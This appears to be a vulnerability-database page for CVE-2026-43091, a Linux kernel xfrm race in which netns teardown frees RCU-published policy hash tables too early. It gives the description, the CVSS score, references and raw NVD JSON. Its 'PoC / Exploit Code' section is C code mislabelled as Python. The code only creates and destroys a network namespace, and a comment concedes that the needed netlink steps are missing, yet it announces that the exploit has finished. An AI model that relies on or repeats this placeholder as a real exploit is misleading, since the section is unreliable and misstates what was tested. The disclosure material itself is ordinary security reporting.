CVE-2026-43091

Description

In the Linux kernel, the following vulnerability has been resolved: xfrm: Wait for RCU readers during policy netns exit xfrm_policy_fini() frees the policy_bydst hash tables after flushing the policy work items and deleting all policies, but it does not wait for concurrent RCU readers to leave their read-side critical sections first. The policy_bydst tables are published via rcu_assign_pointer() and are looked up through rcu_dereference_check(), so netns teardown must also wait for an RCU grace period before freeing the table memory. Fix this by adding synchronize_rcu() before freeing the policy hash tables.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel 6.1

Linux Kernel 6.6

Linux Kernel 6.7

Linux Kernel 6.8

Linux Kernel 6.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/wait.h>
#include <string.h>

#define STACK_SIZE (1024 * 1024)

// Child function running in a new network namespace
static int child_func(void *arg) {
    printf("[+] Child process started in new namespace.\n");
    
    // In a real exploit scenario, specific netlink messages would be sent
    // to configure xfrm policies and keep RCU readers active.
    
    sleep(1); // Keep alive briefly to simulate activity
    return 0;
}

int main() {
    char *stack;
    char *stack_top;
    pid_t pid;

    stack = malloc(STACK_SIZE);
    if (!stack) {
        perror("malloc");
        exit(1);
    }
    stack_top = stack + STACK_SIZE;

    // Create a new network namespace to trigger teardown path
    pid = clone(child_func, stack_top, CLONE_NEWNET | SIGCHLD, NULL);
    if (pid == -1) {
        perror("clone");
        free(stack);
        exit(1);
    }

    printf("[+] Waiting for child to exit (triggers xfrm_policy_fini)...\n");
    waitpid(pid, NULL, 0);
    
    printf("[+] Exploit trigger finished.\n");
    
    free(stack);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43091
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43091
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43091/
[4] VulDB https://vuldb.com/cve/CVE-2026-43091
[5] https://git.kernel.org/stable/c/069daad4f2ae9c5c108131995529d5f02392c446
[6] https://git.kernel.org/stable/c/33a3149dd81a1e2f52b80ee1e0fc380b39f3d028
[7] https://git.kernel.org/stable/c/3733fce2871c9bca9dd18a1a23b1432ea215a094
[8] https://git.kernel.org/stable/c/438b1f668ad58f46ce699bb48e4698a7839e3f9e
[9] https://git.kernel.org/stable/c/b66920a3348c0f63ba18365248fa21fbf0b3a937

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43091", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:22.433", "lastModified": "2026-05-08T13:16:38.787", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: Wait for RCU readers during policy netns exit\n\nxfrm_policy_fini() frees the policy_bydst hash tables after flushing the\npolicy work items and deleting all policies, but it does not wait for\nconcurrent RCU readers to leave their read-side critical sections first.\n\nThe policy_bydst tables are published via rcu_assign_pointer() and are\nlooked up through rcu_dereference_check(), so netns teardown must also\nwait for an RCU grace period before freeing the table memory.\n\nFix this by adding synchronize_rcu() before freeing the policy hash tables."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/069daad4f2ae9c5c108131995529d5f02392c446", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/33a3149dd81a1e2f52b80ee1e0fc380b39f3d028", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/3733fce2871c9bca9dd18a1a23b1432ea215a094", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/438b1f668ad58f46ce699bb48e4698a7839e3f9e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/b66920a3348c0f63ba18365248fa21fbf0b3a937", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}